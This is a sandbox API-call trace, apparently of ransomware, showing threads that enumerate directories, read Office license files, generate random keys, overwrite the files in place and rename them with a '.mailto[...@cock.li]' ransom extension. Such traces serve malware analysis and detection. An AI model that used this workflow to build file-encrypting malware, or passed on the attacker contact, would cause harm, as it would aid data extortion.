	[0086.533] wcscpy (in: _Dest=0x47eb7f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0086.533] wcscat (in: _Dest=0x47eb7f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\"
	[0086.533] wcscat (in: _Dest=0x47eb7f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*"
	[0086.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27a18
	[0086.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*", lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8a8
	[0086.534] wcscmp (_String1=".", _String2=".") returned 0
	[0086.534] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.534] wcscmp (_String1="..", _String2=".") returned 1
	[0086.534] wcscmp (_String1="..", _String2="..") returned 0
	[0086.534] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1
	[0086.534] wcscmp (_String1="Font", _String2=".") returned 1
	[0086.534] wcscmp (_String1="Font", _String2="..") returned 1
	[0086.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4751f78
	[0086.534] wcscpy (in: _Dest=0x4751f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0086.534] wcscat (in: _Dest=0x4751f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\"
	[0086.534] wcscat (in: _Dest=0x4751f78, _Source="Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0086.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4751f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808
	[0086.942] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x4f27a18 | out: lpFindFileData=0x4f27a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0086.942] FindClose (in: hFindFile=0x477a8a8 | out: hFindFile=0x477a8a8) returned 1
	[0086.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27a18) returned 1
	[0086.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb7f8) returned 1
	[0086.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec608) returned 1

Thread:
	id = 1203
	os_tid = 0x1f40

	[0086.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220
	[0086.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1928
	[0086.536] GetFileSizeEx (in: hFile=0x1928, lpFileSize=0x2a03f750 | out: lpFileSize=0x2a03f750*=20841) returned 1
	[0086.536] SetFilePointerEx (in: hFile=0x1928, liDistanceToMove=0x5165, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.536] ReadFile (in: hFile=0x1928, lpBuffer=0x2a03f6d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a03f6d0, lpOverlapped=0x0 | out: lpBuffer=0x2a03f6d4*, lpNumberOfBytesRead=0x2a03f6d0*=0x4, lpOverlapped=0x0) returned 1
	[0086.538] SetFilePointerEx (in: hFile=0x1928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0086.538] NtQuerySystemTime (in: CurrentTime=0x2a03f6b0 | out: CurrentTime=0x2a03f6b0*=132251868132726216) returned 0x0
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x4096d299
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xfd5d491
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xf75e9d58
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x9e432f9
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x91b9bc71
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x22fede57
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x70556ea0
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x86238680
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x136cb1f5
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xc1d2d372
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xba00da69
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xca3243b4
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xfa41e0b
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xb5831232
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x9ccb85b0
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xcac4383
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xdf708af4
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xf3895bdb
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x734d55c3
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x3d67beb5
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xe8986b39
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x4d74fb67
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xdcec3c5b
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x992436c8
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x9ba2acd2
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x3141e71e
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x3139954a
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x862aa915
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xd2798960
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x81f8b144
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0x3e243eeb
	[0086.538] RtlRandom (in: Seed=0x2a03f6bc | out: Seed=0x2a03f6bc) returned 0xeec97c3d
	[0086.545] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ad8
	[0086.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0086.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb468
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4902040
	[0086.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x490e848
	[0086.548] ReadFile (in: hFile=0x1928, lpBuffer=0x4902040, nNumberOfBytesToRead=0x5169, lpNumberOfBytesRead=0x2a03f6ac, lpOverlapped=0x0 | out: lpBuffer=0x4902040*, lpNumberOfBytesRead=0x2a03f6ac*=0x5169, lpOverlapped=0x0) returned 1
	[0086.551] SetFilePointerEx (in: hFile=0x1928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.551] WriteFile (in: hFile=0x1928, lpBuffer=0x490e848*, nNumberOfBytesToWrite=0x5169, lpNumberOfBytesWritten=0x2a03f6a8, lpOverlapped=0x0 | out: lpBuffer=0x490e848*, lpNumberOfBytesWritten=0x2a03f6a8*=0x5169, lpOverlapped=0x0) returned 1
	[0087.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x490e848) returned 1
	[0087.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4902040) returned 1
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb468) returned 1
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb420
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb108
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x2e02570
	[0087.275] SetFilePointerEx (in: hFile=0x1928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.275] WriteFile (in: hFile=0x1928, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x2a03f710, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2a03f710*=0x11f, lpOverlapped=0x0) returned 1
	[0087.280] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.280] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.280] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.280] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0087.280] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0087.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0087.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0087.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768c80
	[0087.281] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms"
	[0087.281] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.281] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a03f6c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d89948
	[0087.281] NtSetInformationFile (FileHandle=0x1928, IoStatusBlock=0x2a03f6c0, FileInformation=0x2d89948, Length=0xf0, FileInformationClass=0xa) returned 0x0
	[0087.282] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.282] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.282] NtQueryInformationFile (in: FileHandle=0x1928, IoStatusBlock=0x2a03f6d4, FileInformation=0x2a03f6ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a03f6d4, FileInformation=0x2a03f6ac) returned 0x0
	[0087.282] NtSetInformationFile (FileHandle=0x1928, IoStatusBlock=0x2a03f6d4, FileInformation=0x2a03f6ac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.283] FlushFileBuffers (hFile=0x1928) returned 1
	[0093.119] CloseHandle (hObject=0x1928) 

Thread:
	id = 1204
	os_tid = 0x1f44

	[0086.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220
	[0086.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x192c
	[0086.549] GetFileSizeEx (in: hFile=0x192c, lpFileSize=0x2a0bfdfc | out: lpFileSize=0x2a0bfdfc*=11589) returned 1
	[0086.549] SetFilePointerEx (in: hFile=0x192c, liDistanceToMove=0x2d41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.549] ReadFile (in: hFile=0x192c, lpBuffer=0x2a0bfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a0bfd7c, lpOverlapped=0x0 | out: lpBuffer=0x2a0bfd80*, lpNumberOfBytesRead=0x2a0bfd7c*=0x4, lpOverlapped=0x0) returned 1
	[0086.552] SetFilePointerEx (in: hFile=0x192c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0086.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.553] NtQuerySystemTime (in: CurrentTime=0x2a0bfd5c | out: CurrentTime=0x2a0bfd5c*=132251868132882420) returned 0x0
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x2d8b1703
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xda6161e7
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xd6bd0e4e
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x9b704d08
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x8353ad4e
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xb9500bf2
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x204889aa
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x6db7b42
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x25679212
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x976b0c80
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xd36525a4
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xd7996f0f
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xa6da8f96
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x9ddb9b1d
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xd099ec70
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x93efff06
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xb6a60b98
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x4cd2a34b
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x69c87581
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x8dbe7e8e
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x7378eb96
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xe89a436f
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x1981a0bf
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xb55aef58
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xe8d6b594
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xff67b55e
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xdb3c9f15
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x7df45809
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x48f71cb5
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xe01c4205
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0xdb4e1711
	[0086.553] RtlRandom (in: Seed=0x2a0bfd68 | out: Seed=0x2a0bfd68) returned 0x501458a6
	[0086.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0086.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0086.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb4b0
	[0086.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0086.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x481f010
	[0086.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482b818
	[0086.593] ReadFile (in: hFile=0x192c, lpBuffer=0x481f010, nNumberOfBytesToRead=0x2d45, lpNumberOfBytesRead=0x2a0bfd58, lpOverlapped=0x0 | out: lpBuffer=0x481f010*, lpNumberOfBytesRead=0x2a0bfd58*=0x2d45, lpOverlapped=0x0) returned 1
	[0086.595] SetFilePointerEx (in: hFile=0x192c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.595] WriteFile (in: hFile=0x192c, lpBuffer=0x482b818*, nNumberOfBytesToWrite=0x2d45, lpNumberOfBytesWritten=0x2a0bfd54, lpOverlapped=0x0 | out: lpBuffer=0x482b818*, lpNumberOfBytesWritten=0x2a0bfd54*=0x2d45, lpOverlapped=0x0) returned 1
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482b818) returned 1
	[0086.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481f010) returned 1
